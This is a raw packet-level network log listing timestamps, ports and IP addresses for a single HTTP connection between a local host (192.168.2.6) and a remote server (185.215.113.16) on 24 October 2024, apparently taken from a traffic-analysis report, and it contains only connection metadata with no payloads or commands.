Oct 24, 2024 09:07:29.608136892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608145952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608155012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608155012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608164072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608171940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608176947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608187914 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608206987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608369112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608378887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608388901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608400106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608411074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608416080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608448982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608448982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608545065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608556986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608567953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608577967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608588934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608598948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608608961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608608961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608618975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608628988 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608630896 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608669996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608839989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608850956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608860970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608871937 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608881950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608886957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608891964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608901978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608908892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608911037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608921051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608930111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608932018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608944893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608947992 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.608956099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.608978987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609009027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609311104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609322071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609329939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609339952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609349012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609354973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609359026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609369993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609379053 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609379053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609390020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609399080 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609410048 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609411001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609420061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609431028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609441042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609441042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609451056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609460115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609467983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609471083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609481096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609488964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609491110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609519005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609528065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609560013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609730005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609740973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609750986 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609761953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609772921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609778881 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609812021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609812975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609869003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609879971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609889984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609900951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609909058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609919071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609929085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609930038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609939098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609945059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609949112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609951019 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609955072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609966040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609970093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.609977007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.609992027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.610025883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.678966999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.679054022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.679106951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.723808050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723836899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723850012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723861933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723872900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723891973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723902941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723915100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723927021 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723948002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723958969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723973036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.723985910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724029064 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724030018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724030018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724030018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724030018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724040985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724051952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724066019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724087000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724097967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724113941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724113941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724131107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724137068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724157095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724212885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724225998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724257946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724294901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724307060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724318981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724329948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724360943 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724467993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724478006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724488974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724499941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724510908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724515915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724522114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724534035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724534035 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724550962 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724581957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724617958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724628925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724641085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724664927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724751949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724764109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724775076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724793911 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724826097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724881887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724894047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724905014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724915981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724927902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.724932909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.724961996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725033998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725044966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725061893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725073099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725083113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725095987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725100994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725112915 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725120068 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725122929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725133896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725145102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725155115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725162983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725166082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725177050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725183964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725187063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725202084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725220919 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725476980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725488901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725501060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725537062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725567102 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725590944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725604057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725615025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725625992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725639105 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725650072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725653887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725661039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725672007 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725675106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725692987 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725728989 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725872993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725884914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725894928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725907087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725917101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725919008 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725928068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725939035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725943089 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.725950003 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.725980997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726007938 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726197958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726208925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726218939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726232052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726237059 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726239920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726243973 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726249933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726260900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726273060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726283073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726290941 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726294994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726305008 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726311922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726316929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726330996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726350069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726521015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726571083 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726713896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726726055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726736069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726747036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726756096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726769924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726789951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726789951 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726803064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726814985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726824999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726834059 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726835966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726847887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726860046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726864100 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726870060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726881981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726881981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726891994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.726898909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.726926088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.753305912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.768465042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768477917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768497944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768507004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768517971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768522978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768528938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768544912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.768544912 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.768587112 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.768657923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768670082 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768681049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768690109 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.768708944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.768743038 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.837341070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.837352991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.837465048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.840511084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840532064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840540886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840590000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840601921 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840609074 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.840645075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840647936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.840689898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840692043 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.840699911 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840725899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840749025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.840766907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840812922 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.840846062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840857029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840898037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.840929031 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840939045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840950966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.840980053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841012001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841021061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841032028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841056108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841057062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841089964 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841104984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841156960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841204882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841255903 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841265917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841276884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841301918 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841322899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841324091 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841362000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841372967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841383934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841406107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841434956 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841464996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841475964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841487885 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841516972 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841602087 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841612101 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841622114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841634035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841644049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.841650009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841684103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841685057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.841697931 CEST	80	49772	185.215.113.16	192.168.2.6
